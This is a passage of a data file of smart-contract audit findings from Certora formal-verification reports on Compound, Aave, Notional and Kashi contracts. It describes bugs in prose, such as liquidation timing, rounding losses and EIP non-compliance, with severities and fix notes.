and principalValueBorrow() instead. Property Violated: -- Compound This issue was fixed in commit Response: ffac97079f6573cc7cdb8ebc4e024ffce55825e9.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Critical"]}, {"title": "Incorrect liquidation computation", "body": "Description: When invoking absorbInternal() , accrue() is being called after the check isLiquidatable() . In practice, it means that the check whether a user is liquidatable is being done on a non-updated state of the system, i.e. on the state of the user from the last time an update was called. For example, a borrower can be not liquidatable at time $t=0$, then after some time $(t)$ passes and debts accumulate, the borrower enters a liquidatable state at time $t$. If at no point in time $t'\u2265t$ did anybody call the accrue() function through a financial action-- withdraw() , supply() , transfer() --a call to absorbInternal() will not allow users to absorb the borrower's assets even though in reality he/she should be liquidatable. \fIssue: Property Violated: -- Incorrect liquidation computation Compound This issue was fixed in commit Response: cf066c4995162d5ac7d455a33e442d8dc7cbb2bb.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Medium"]}, {"title": "Incorrect gain of assets, incorrect option to buyCollateral", "body": "Description: withdrawReserves() and buyCollateral() use the getReserves() function to check the present value of totalSupply and totalBorrow . If accrue() is not called beforehand, the present values may not be fully up-to-date. As a result the calculated reserves amount will be inaccurate. This will prevent the governor from taking out its rightful assets, or mean that getReserves() retrieves a larger number than the governance. In addition, one might be able to buy collateral (at a discount) when not appropriate. Property Violated: Balance change vs accrue (property #9) Compound Response: This issue was fixed in commit 59def475c9ca9570f690201b7dd07a3ce1ed1a6b.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Medium"]}, {"title": "Incorrect collateral representation", "body": "Description: absorbInternal() sets all of a user's collateral assets to 0, but never updates the user's assetIn() . This means that even though the collateral balance of a user is 0, the bit is still 'on' such that the function isInAsset() will return true. This wastes gas in methods like isBorrowCollateralized() , getBorrowLiquidity() , isLiquidatable() , getLiquidationMargin() , and absorbInternal() which count on the correct update of assetIn when iterating over collateral assets. Property Violated: AssetIn initialized with balance (property #8) Compound This issue was fixed in commit Response: 83211fa995a1e3bb79d98cbfdd453f0ce7f7b2e7. Gas Optimization \faccrue() can be called in absorb() instead of absorbInternal() - Currently accrue() is being called in absorbInternal() and therefore being called in every loop iteration over the array of accounts. The accrual can be moved to absorb() to save some unnecessary operations. Update of accrual time can be saved in some cases - The update lastAccrualTime = now_ in accrue() can be done inside the if (timeElapsed > 0) to save gas on storage. Redundant use of Safe64() - The use of Safe64() on asset.scale in isBorrowCollateralized and getBorrowLiquidity is redundant since scale is already a uint64 . Redundant assignment of TotalsCollateral to memory - In withdrawCollateral() there is an assignment of totalsCollateral into a local variable which is redundant as it's accessed only once throughout the method. Redundant check in absorbInternal() - In absorbInternal() there is no need to check if seizeAmount > 0 , because of the isInAsset() check beforehand. Redundant assignment of newBalance in absorbInternal() - In absorbInternal() , a more efficient way to execute the line newBalance = newBalance < 0 ? int104(0) : newBalance is by replacing it with if(newBalance < 0) { newBalance = 0} . All the gas optimization suggestions were implemented in commit 10ca0422e4e983d8384a08c5d19ecb34515b66aa.", "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", "labels": ["Certora", "Low"]}, {"title": "Token address duplicates not checked on calling initialize", "body": "Description: Property Violated: AAVE Response: Upon calling initialize , no check is performed for duplicates in the L1 and L2 token arrays. A mistake in the function input can lead to two tokens on one side of the bridge corresponding to the same token on the other side. Community rule #2: shouldRevertInitializeTokens It is assumed that no duplicates are introduced by the trusted party in charge (Aave governance). In addition, validation of approval protects against that case for L1 tokens. Can be seen here. Discovered By Certora:", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", "labels": ["Certora", "Low"]}, {"title": "Front running of withdrawal", "body": "After a withdrawal request is initiated on the L2 side by a user, it is possible for anyone to call withdraw from the L1 side on their behalf. The withdrawal payload message (L2->L1) doesn't include the boolean toUnderlyingAsset which determines the type of token to be paid to the redeemer - ATokens or underlying asset. Hence, a malicious user can front-run the original redeemer and decide the type of tokens they withdraw, with no special permissions necessary. Fixed in commit 3d00e2a. Transformation from dynamic to static amounts is not precisely reversible Description: AAVE Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", "labels": ["Certora", "Low"]}, {"title": "\fIssue:", "body": "Transformation from dynamic to static amounts is not precisely reversible When transforming an amount of ATokens to static Atokens and back, usually by deposit and subsequent withdrawal or cancellation, the returned amount can be larger than the original one, meaning the user Description: can gain more L1 tokens than they should recieve. This is a result of rounding errors in the ray math library. We were able to prove the inconsistency for an arbitrary asset with an arbitrary liquidity index ( index ). The difference between the values is bounded by (index/RAY+1)/2 (see rule #3). Property Violated: Rule #2: dynamicToStaticInversible2 Rule #8: cancelAfterDepositGivesBackExactAmount AAVE Response: To fix this issue, a deeper change on the Aave protocol will be required. We acknowledge this issue however no action will be taken on the Bridge contract.", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", "labels": ["Certora", "Low"]}, {"title": "Cancelling a deposit does not check for success of deposit on L2", "body": "Cancelling a deposit by calling startDepositCancellation() checks only for non-zero message count of the deposit payload hash, i.e. that the payload indeed exists. It does not, however, check for the status of the deposit payload, i.e. whether it was handled by the other side. Therefore a great deal of trust is placed on the L2 (starkNet) confirmation proofs and update mechanism. A failure to send confirmation proof for successful deposit within the predetermined 5 day delay, will enable gaining tokens on both sides by canceling a successful deposit that has not yet received a confirmation. Rule #9: cannotCancelDepositAndGainBothTokens We assume that Starknet can write proofs for successful transactions within 5 days. All projects creating bridges between Ethereum and Starknet make this assumption. Description: Property Violated: AAVE Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", "labels": ["Certora", "Informational"]}, {"title": "Malicious users can settle asstes using settlement rates of other", "body": "assets Description: When the function SettlePortfolioAssets.settlePortfolio() settles an asset in the portfolio that must be settled, it first computes its settlement rate. Due to an optimization, it only computes the settlement rate if asset.maturity < blockTime. However, it settles liquidity token assets if asset.maturity <= blockTime, meaning that if asset.maturity equals blockTime (block.timestamp), then because the assets in the portfolio are settled one by one in a loop, if this asset isn\u2019t the first one that is being settled in the loop, this asset will be settled with the settlement rate of the previous asset that was settled. block.timestamp can be manipulated by miners, and a malicious user (which is also a miner) can arrange the assets in its portfolio in such an order that allows him to earn significant funds on the expense of the system, by settleing assets with different settlement rates, at the date of their maturity. Mitigation/Fix: Compute the settlement rate for an asset if asset.maturity <= blockTime, instead of only when asset.maturity < blockTime.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "High"]}, {"title": "Description:", "body": "Assets in a portfolio aren\u2019t always unique If an asset is added to a portfolio using PortfolioHandler.addAsset() with isNewHint=true, but this asset already presents in the portfolio, then this asset will be inserted into the portfolioState.newAssets array. The effect of this is that the portfolio will end up having the same asset twice, instead of just one with its overall notional value. From now on, the second instance of that asset in the portfolio will be discarded. Mitigation/Fix: Remove the argument isNewHint from PortfolioHandler.addAsset() and act like it is always false. \fSeverity: Medium Issue: Deleting an asset from a portfolio twice causes the loss of other assets Description: If the function PortfolioHandler.deleteAsset() tries to delete an asset that was already deleted (its storageState equals to AssetStorageState.Delete), then it will swap the deleted asset\u2019s storage slot (which is currently located after any storage slot of active assets) with a storage slot of an active asset. The result is that the swapped active asset will be stored after the slot of the deleted asset and portfolioState.storedAssetLength will be decreased by 1. Meaning that these two assets (the deleted asset and the swapped active asset) will not be loaded, when loading the portfolio from storage. Mitigation/Fix: Add a require statement that prevents deletions of assets that were already deleted.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "SettlePortfolioAssets.settlePortfolio() also settles deleted assets", "body": "Description: When the function SettlePortfolioAssets.settlePortfolio() settles the assets in the portfolio, it doesn\u2019t check whether the assets in the portfolio are active or they have been deleted, meaning that it also settles the deleted assets in the portfolio, if any. In addition, since every settlement also deletes the involved asset from the portfolio, settlement of a deleted asset will also triger the previous issue (Deleting an asset from a portfolio twice causes the loss of other assets). Mitigation/Fix: Settle only the active assets in the portfolio. \fSeverity: Medium Issue: Description: Currency ids in an account context can be modified in AccountContextHandler.setActiveCurrency() The 14 least significant bits of the flags argument in the function AccountContextHandler.setActiveCurrency() must be off because of these reasons: \u25cf If isActive=false then the 14 least significant bits in flags can modify the 14-bits currencyId when it is found inside accountContext.activeCurrencies (it can set off bits in currencyId). Therefore, these 14 bits in flags must be set off. \u25cf If isActive=true then the 14 least significant bits in flags can modify the 14-bits currencyId when it is found inside or inserted into accountContext.activeCurrencies (it can set on bits in currencyId). Therefore, these 14 bits in flags must be set off. Mitigation/Fix: Add a requirement for these 14 bits to be off or set them off at the beginning of this function. \fSeverity: Medium Issue: The function SettlePortfolioAssets.settlePortfolio() can revert unexpectedly in valid transactions Description: Recalling the previous issue with this function (Malicious users can settle asstes using settlement rates of other assets), if the asset that is being settled without computing its settlement rate (happens when asset.maturity equals blockTime) is the first asset in the loop that is being settled, then the settlement rate that will be used for its settlement will remain uninitialized, with the zero value. This will cause the settlement to failed due to a division by zero, when it calls the function convertFromUnderlying() and tries to devide by the uninitialize settlement rate. Mitigation/Fix: Compute the settlement rate for an asset if asset.maturity <= blockTime, instead of only when asset.maturity < blockTime. \fSeverity: Medium Issue: Authorized addresses can cause loss of asset tokens Description: Addresses that were authorized as global transfer operators using GovernanceAction.updateGlobalTransferOperator() are able to call BatchAction.batchBalanceAction and BatchAction.batchBalanceAndTradeAction with account=Notional (Notional\u2019s address) through ERC1155Action._checkPostTransferEvent(). With these functions, in the first action of the batch they can invoke BalanceHandler.depositAssetToken() with a token that has no transfer fee, and in the second action of the batch they can invoke TokenHandler.redeem(). This is what will happen in such a scenario: \u25cf In the first action, when the function BalanceHandler.depositAssetToken() is invoked, balanceState.netAssetTransferInternalPrecision is increased according to the deposit amount. Then, in BalanceHandler.finalize(), the function TokenHandler.transfer() is invoked with the asset token and the value of balanceState.netAssetTransferInternalPrecision (converted to external precision), and transfer tokens from the account (itself) to itself, and no tokens are actually transferred. \u25cf In the second action, in BalanceHandler.finalize(), the function TokenHandler.redeem() is invoked with the asset token and the amount we want to withdraw (it can be the entire balance of that account, we have just \u201cdeposited\u201d tokens to it), redeeming the asset tokens that other users have deposited into the system, and then the function TokenHandler.transfer() is invoked with the underlying token, transferring the amount of underlying tokens that the system received from the redeem action, to itself. The system is now unaware that is holds this underlying tokens and they will be unreachable, and effectively lost. Mitigation/Fix: Add a require statement in TokenHandler.transfer() that the account cannot be the contract itself (Notional\u2019s address), to prevent self transfers. Notional Response We\u2019ve added guards the prevent invalid addresses from accessing any of the trading or deposit actions in ActionGuards.sol \fSeverity: Low Issue: Description: Missing validation of currencyId, maturity and assetType in PortfolioHandler.addAsset() The function PortfolioHandler.addAsset() is missing require statements that validates the values of currencyId, maturity and assetType when a new asset is inserted into the portfolioState.newAssets array. The only validation is done when that portfolio is stored on storage, in PortfolioHandler.storeAssets(), during the internal call to _encodeAssetToBytes(). Mitigation/Fix: Add require statements that validates these values.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Description:", "body": "Incorrect calculation of zero\u2019s MSB The functionBitmap.getMSB() returns 0 for the input x=0, although the MSB of zero is not defined. Mitigation/Fix: Revert if the input x is zero.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "AccountContextHandler.setActiveCurrency() can insert an inactive", "body": "currency id into an account context Description: If the arguments for AccountContextHandler.setActiveCurrency() are isActive=true and flags=0x0000 then the currencyId can be inserted into accountContext.activeCurrencies with no flags at all, meaning that it wasn\u2019t supposed to be inserted in the first place. Mitigation/Fix: Add a require statement that prevents flags from being zero when isActive=true. \fSeverity: Low Issue: PortfolioHandler.buildPortfolioState() incorrectly implements an optimization for adding multiple new assets Description: The function PortfolioHandler.buildPortfolioState() should initialize state.newAssets to an array with length of newAssetsHint, as an optimization for a following addition of multiple new assets, but it doesn\u2019t do it if assetArrayLength=0. Mitigation/Fix: Initialize state.newAssets also when assetArrayLength=0.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Description:", "body": "PortfolioHandler.addAsset() and PortfolioHandler.storeAssets() incorrectly use portfolioState.newAssets.length as the number of new assets. The functions PortfolioHandler.addAsset() and PortfolioHandler.storeAssets() use portfolioState.newAssets.length as the number of new assets in the portfolio, although the portfolioState.newAssets array isn\u2019t necessarily full. The correct number of new assets is stored at portfolioState.lastNewAssetIndex. The value of portfolioState.newAssets.length can only be used as an upper bound for the number of new assets. Mitigation/Fix: Use portfolioState.lastNewAssetIndex as the number of new assets in the portfolio, instead of portfolioState.newAssets.length.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Description:", "body": "Insufficient validation of currencyId in PortfolioHandler._encodeAssetToBytes() The function PortfolioHandler._encodeAssetToBytes() only requires that currencyId will fit in uint16, but it also must not be greater than Constants.MAX_CURRENCIES. Mitigation/Fix: Change the current require statement to restrict currencyId to be less than or equal to Constants.MAX_CURRENCIES. \fSeverity: Recommendation Issue: Description: Unnecessary checks for a constant value in AccountContextHandler.setActiveCurrency() The function AccountContextHandler.setActiveCurrency() checks the value of isActive 4 times on every loop iteration, although this value never changes. Mitigation/Fix: Save gas by checking the value of isActive only once.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Description:", "body": "Unnecessary array boundaries checks When loading an array element more than once, there is no reason to check again that the index doesn\u2019t exceed the array limits. Mitigation/Fix: Save gas by caching the array element in a local variable instead of loading it again.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Computation of a value that isn\u2019t necessarily used in", "body": "AccountContextHandler.isActiveInBalances() Description: The function AccountContextHandler.isActiveInBalances() computes isActive on every loop iteration, although it is not used in most iterations Mitigation/Fix: Save gas by computing isActive only when it is necessary.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Early exit optimization in AccountContextHandler.isActiveInBalances()", "body": "Description: The function AccountContextHandler.isActiveInBalances() can return false in case it finds currencyId in the active currencies \u201carray\u201d and its ACTIVE_IN_BALANCES flag is off. There is no reason to continue iterating over the rest of the active currencies. Mitigation/Fix: Save gas by returning false in this case, instead of continuing to iterate over the rest of the active currencies for no reason. \fSeverity: Recommendation Issue: Description: Complicated require statement in AccountContextHandler.setActiveCurrency() The complicated require statement after the while loop in AccountContextHandler.setActiveCurrency() that checks that the active currencies \u201carray\u201d contains less than 9 currencies, can be simplified to require(shifts < 9) because at this point, shifts equals the number of iterations that took place in the previous while loop that was iterating over this active currencies \u201carray\u201d. Mitigation/Fix: Save gas by simplifying this require statement to require(shifts < 9).", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Unnecessary castings in FloatingPoint56.unpackFrom56Bits()", "body": "Description: The function FloatingPoint56.unpackFrom56Bits() contains two unnecessary castings from uint256 to uint256. Mitigation/Fix: Remove these two unnecessary castings.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Unnecessary casting in", "body": "nTokenHandler.setNTokenCollateralParameters() Description: The function nTokenHandler.setNTokenCollateralParameters() contains an unnecessary casting from bytes32 to bytes32. Mitigation/Fix: Remove this unnecessary casting.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Unnecessary castings in", "body": "nTokenHandler.setArrayLengthAndInitializedTime() Description: The function nTokenHandler.setArrayLengthAndInitializedTime() contains two unnecessary castings from uint256 to uint256. Mitigation/Fix: Remove these two unnecessary castings. \fSeverity: Recommendation Issue: Description: Trivial require statement in nTokenHandler.setArrayLengthAndInitializedTime() The function nTokenHandler.setArrayLengthAndInitializedTime() requires lastInitializedTime to be greater than or equal to zero, even though it is a variable of type uint256. Mitigation/Fix: Remove this trivial require statement.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Trivial if statement in SettlePortfolioAssets.settlePortfolio()", "body": "Description: The function SettlePortfolioAssets.settlePortfolio() contains an if statement that checks whether an asset is a fCash, followed by an \u201celse if\u201d statement that checks if that asset is a liquidity token, while the only two options available for that asset\u2019s type are fCash and liquidity token. Mitigation/Fix: Save gas by changing the \u201celse if\u201d statement to an \u201celse\u201d statement.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Unnecessary require statement in DateTime.getTradedMarket()", "body": "Description: The function DateTime.getTradedMarket() begins with the require statement require(index != 0). This requirement is unnecessary because even without it, if index=0, there will still be a revert at the end of the function. Mitigation/Fix: Remove this unnecessary require statement. \fSeverity: Recommendation Issue: Unnecessary checked arithmetic in AssetHandler.getSettlementDate() Description: The add(Constants.QUARTER) operation in AssetHandler.getSettlementDate() perfoms an overflow check which is unnecessary because the function first subtracts marketLength, which is always greater than or equal to 2 * Constants.QUARTER in this case, and only then adds Constants.QUARTER to it. Mitigation/Fix: Save gas by replacing add(Constants.QUARTER) with + Constants.QUARTER.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Trivial require statement in BalanceHandler._setBalanceStorage()", "body": "Description: The function BalanceHandler._setBalanceStorage() requires lastClaimTime to be greater than or equal to zero, even though it is a variable of type uint256. Mitigation/Fix: Remove this trivial require statement.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Non-compliance of maxFlashLoan in the FlashMinter facilitator to", "body": "the EIP3156 standard Description: EIP3156 states that the function maxFlashLoan must return the maximum loan possible for the token, and return 0 instead of reverting if the token is not currently supported. The GhoFlashMinter implmentation, however, may revert if bucketLevel > bucketCapacity . This can happen if the bucket's capacity gets reduced below the bucket's level. Mitigation/Fix: Fixed on commit 038442d.", "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", "labels": ["Certora", "Low"]}, {"title": "Accumulated interest can be manipulated by the user", "body": "Description: Concrete Example: Calling rebalanceUserDiscountPerecent calculates the accumulated interest since the last operation made by the user. As part of this operation, the scaled discount given to the user is burned. This call decreases the total interest accumulated for this debt compared to the case of the exact same position taken without calling rebalance. Consider a user with scaledBalance = 100 , 50% discount rate and 0 accumulated interest at time t0 . The global index is 1, 2, and 4 at times t0 , t1 , and t2 respectively. In the first scenario the user calls rebalanceUserDiscountPercent at t1 which updates the scaled balance to 75 and the accumulated interest to 50. At t2 the \fIssue: Accumulated interest can be manipulated by the user user does the same call which updates the accumulated interest to 125. If instead, the user does only a single call to rebalanceUserDiscountPerecent at t2 , the accumulated interest balance would reach a total of 150. Mitigation/Fix: The use of rebalanceUserDiscountPercent or any other function that accumulates the user's interest, results in insignificant benefits for the end user given that the values of the expected configuration of interest and discount rates are low.", "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", "labels": ["Certora", "Low"]}, {"title": "Using of WadRayMath.sol not according to guidelines", "body": "WadRayMath.sol states that wadMul/wadDiv and rayMul/rayDiv should be called with both operands should have the same format of WAD / RAY respectively. In ghoVariableDebtToken.sol there are multiple occasions where rayMul and rayDiv are called with the first operand being some token balance (both scaled and not- scaled) which is formatted as WAD , and the second operand being the index which is formatted as RAY . The GhoVariableDebtToken contains code that belongs to the standard Aave VariableDebtToken implementation. Although it is not natural to use WadRayMath functions with operands that aren't in the same format, these calculations provides a result with correct format. Description: Mitigation/Fix:", "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", "labels": ["Certora", "Informational"]}, {"title": "Precision loss during voting power transfer", "body": "When calculating delegated balance on token transfer, the new delegated balance of a delegate was calculated with a small precision loss that violated the property after a delegator to delegatee1 transfers z amount of tokens. vpTransferWhenOnlyOneIsDelegating (Property #6) and others The issue was fixed in commit a287d134 and the relevant property was modified to be Description: Property Violated: AAVE Response: List of Issues Discovered Independently By The Community", "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Formal-Verification-Report-of-AAVE-Token-V3.pdf", "labels": ["Certora", "Low"]}, {"title": "Wrong parameters order in a _transferWithDelegation call", "body": "This issue was present in an intermediary version of the code given to the community to verify, but not in the finalized version that Certora has verified. It was introduced for a short period of time during development, and immediately fixed by the AAVE team. multiple properties The issue was fixed in commit 190c03f4 Description: Property Violated: AAVE Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Formal-Verification-Report-of-AAVE-Token-V3.pdf", "labels": ["Certora", "High"]}, {"title": "Withdrawal of all KashiPair assets", "body": "Rules Broken: No change to other\u2019s borrowed asset Description: A user can borrow all available asset tokens on behalf of a third party that is not checked for solvency. Fix: Users can only borrow for themselves and only when they are in a solvent state.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", "labels": ["Certora", "Critical"]}, {"title": "Loss of system's assets during liquidation", "body": "Rules Broken: Balance change in liquidation Description: The cook function, a function for batch processing, allows a user to invoke KashiPair the collateral is transferred to the user but no assets are transferred to the system. to perform a liquidation, in which case, Fix: Disabled calls to KashiPair in the cook function", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", "labels": ["Certora", "Critical"]}, {"title": "Denial of service in deposit", "body": "Rules Broken: Integrity of add collateral Description: Due to the miscalculation of total collateral, when a user skims (adds collateral to the KashiPair and then claims the excess balance) the transaction reverts. Fix: Total collateral calculation corrected www.certora.com \fSeverity: Medium Status: Fixed Issue: Malicious KashiPair may trick users to lose assets Rules Broken: N/A Description: A kashiPair initialized with only asset token and no collateral token can be reinitialized with a different asset token, thus causing loss to asset providers. Fix: Cannot initialize a KashiPair with zero collateral", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", "labels": ["Certora", "High"]}, {"title": "Utilization computation", "body": "Rules Broken: Integrity of interest accrued Description: During accrue, the utilization is miscalculated, which might make the utilization more than 100%. Fix: Utilization calculation corrected in accrue", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "Loss of assets and higher joining requirement for asset providers", "body": "Rules Broken: Add then remove asset Description: Due to the rounding error, depositing asset tokens can result in zero fractions. Repeating this process results in a state where asset providers wouldn\u2019t want to join KashiPair. Fix: Require some minimum assets units in KashiPair www.certora.com \f", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", "labels": ["Certora", "Low"]}, {"title": "A staticAToken user can be owed a large sum of reward by the", "body": "staticAToken if it's not yet registered Rules Broken: Property #44 - getClaimableRewards_stable . see violation Description: Consider a reward token ( REW ) distributed through the INCENTIVES_CONTROLLER to a reward-bearing token that the \fIssue: A staticAToken user can be owed a large sum of reward by the staticAToken if it's not yet registered Concrete Example: StaticAToken holds. At any time, a staticAToken user can invoke any claim method with an array that contains this REW token. If this token is not registered in the StaticATokenLM 's reward list, the user\u02bcs rewardsIndexOnLastInteraction will be 0 by default. When, later, getClaimableRewards() is called, the rewardsIndexOnLastInteraction sent to compute the pending rewards will depend on the value of the user's rewardsIndexOnLastInteraction . That value is the one which will be sent if it is non-zero; however, if the value is zero, _startIndex[REW] will be sent instead. This variable represents a snapshot of the index at the time of registration. However, since the reward isn\u02bct registered, the user\u02bcs index has never been updated, and therefore it is zero. In addition, since the reward isn\u02bct registered the startIndex[REW] is 0. that means that the pending rewards will be calculated as: (balance * currentRewardsIndex)/assetUint This will make the staticAToken owe a large amount of rewards to any user who makes a claim before the registration of the asset. In fact, the staticAToken may owe one or more of its users a larger amount than the incentive owes to the static Token. 1. Take an initialized staticAToken that just started to work with a list of 3 reward tokens that deserve to be collected thanks to the distribution of the incentive controller. 2. On initialization, the contract will register those three tokens in the staticToken internal list. 3. User1 is depositing for the first time at a time t , which updates his user state, i.e. unclaimed, as well as a snapshot of the index at the time of operation. 4. At time t' > t , a new token, REW , is added to the list of rewards that the staticAToken is eligible to claim. 5. Nobody refreshes the reward list in the StaticAToken . 6. User1 take any action he desires, including depositing a lot of money. 7. At time t'' > t' , after some REW s are starting to accumulate in the incentive controller for the staticToken 's right, user1 realises that he\u02bcs eligible for his share of REW and tries to claim it through one of the claim functions of the staticAToken . 8. Since the rewards aren\u02bct registered, the user\u02bcs rewardsIndexOnLastInteraction is never updated and stays at the default value of 0. 9. The pending rewards that staticToken is now owed to the user is [user_balance * (currentIndex - 0)]/assetUnit . This value can be greater than the value actually owed by the incentive controller to the staticAToken . If user1 is the only user in the system staticAToken.balanceOf(user) = \fIssue: A staticAToken user can be owed a large sum of reward by the staticAToken if it's not yet registered incentiveController.deservedRewards(asset, reward, staticAToken) however, the current index of the staticAToken on the incentive controller must be greater than 0 because the reward- bearing token (AToken in this case) makes sure to update the code upon transfer (in handleAction ). Mitigation/Fix: Fixed in PR #29", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "Medium"]}, {"title": "Losing one share worth of assets upon deposit", "body": "Rules Broken: Property #14 - withdrawCheck . see violation Description: Concrete Example: Suppose a user calls the deposit() function with an asset amount anywhere in the range [x/2, x+1) AToken. In that case, the deposit() function will round up the amount of Atokens that needs to be transferred from the sender but will round down the number of staticAToken shares the receiver gets in return. For example, the user sends x+1 Atokens, but receives only x staticAtokens . 1. A user calls deposit() with an asset amount of 9 underlying tokens. The fromUnderlying flag is false , so the AToken.transferFrom() function is called. 2. AToken.transferFrom() function eventually calls the AToken._transfer() function. This function converts the user- specified underlying asset amount to the number of ATokens by calling the rayDiv function with the current rate and asset amount. 3. Due to round-up, rayDiv returns 1 AToken, which is equivalent to 18 underlying tokens. 4. 1 AToken is transferred from the user to the staticAToken contract. 5. The Deposit() function proceeds to calculate the shares to be minted to the user. rayDivRoundDown is called with the rate and the asset amount (9). Due to round-down, rayDivRoundDown returns 0. 6. The user gets 0 shares in return for the 1 AToken deposited in the vault. Mitigation/Fix: Fixed in PR #25", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "Low"]}, {"title": "Non-compliance of deposit() with the EIP4626 standard", "body": "Rules Broken: Properties #11 & #12 - depositCheck . see violation \fIssue: Non-compliance of deposit() with the EIP4626 standard Description: Concrete Example: As per EIP4626, deposit() must revert if all the assets cannot be deposited. In the contract, if the user calls deposit() with an amount of underlying assets that are less than the equivalent of half an AToken, the function will end up depositing no assets but will inappropriately fail to revert. 1. A user calls the deposit function with 547 of underlying asset tokens. The fromUnderlying flag is false , so the AToken.transferFrom() function is called. 2. AToken.transferFrom() function eventually calls AToken._transfer() . This function converts the user-specified underlying asset amount to the number of ATokens by calling rayDiv with the current rate and asset amount. 3. rayDiv function returns 0 as the asset amount is less than rate/(2RAY) . As a result, 0 ATokens get transferred from the user to the staticAToken contract. 4. The function proceeds with the rest of the execution without reverting. Mitigation/Fix: Fixed in PR #25", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "Low"]}, {"title": "Inconsistency of getUnclaimedRewards() return value units", "body": "Rules Broken: Property #38 - rewardsConsistencyWhenInsufficientRewards . see violation Description: All the reward-related methods - _getPendingRewards() , collectAndUpdateRewards , _getClaimableRewards , etc., compute and return values in the reward token units. However, getUnclaimedRewards() incorrectly assumes that the user's unclaimedReward amount is stored in RAY units and converts it to WAD . This can cause external protocols relying on the getter's result to interpret and function in a false state. Mitigation/Fix: Fixed in PR #24", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "informational"]}, {"title": "Non-compliance of totalAssets() and maxWithdraw with the", "body": "EIP4626 standard Rules Broken: Property #21 & #26 - totalAssetsMustntRevert , maxWithdrawMustntRevert see violation \fIssue: Non-compliance of totalAssets() and maxWithdraw with the EIP4626 standard Description: Mitigation/Fix: As per EIP4626, both maxWithdraw() and totalAssets() mustn't revert by any means. The implementation, however may revert due to overflow when calling rayMulRoundDown in the first function and rayMul in the second. The only way these methods can revert is when a*b > type(uint256).max , where a is the amount and b is the normalizedIncome . With the following assumptions in mind: (1) type(uint256).max ~=10\u2077\u2077 , (2) normalizedIncome will always be around 10^27 , even with some margin on the index, the revert case will occur only when amount > 10^45 . This is an unreasonably large amount of tokens assuming token decimals <= 18 . All this makes the compliance violation purely theoretical with the currently used tokens.", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "informational"]}, {"title": "_claimRewardsOnBehalf() stops handling rewards after it", "body": "encounters address 0 Recommendation: The function _claimRewardsOnBehalf() iterates over an array of rewards passed to it by the user via one of the external claim functions. Currently, the function short-circuits at the first occurrence of address 0 in the array - it exits the function by executing return . Although it is a viable way to handle claims, replacing the return with continue and 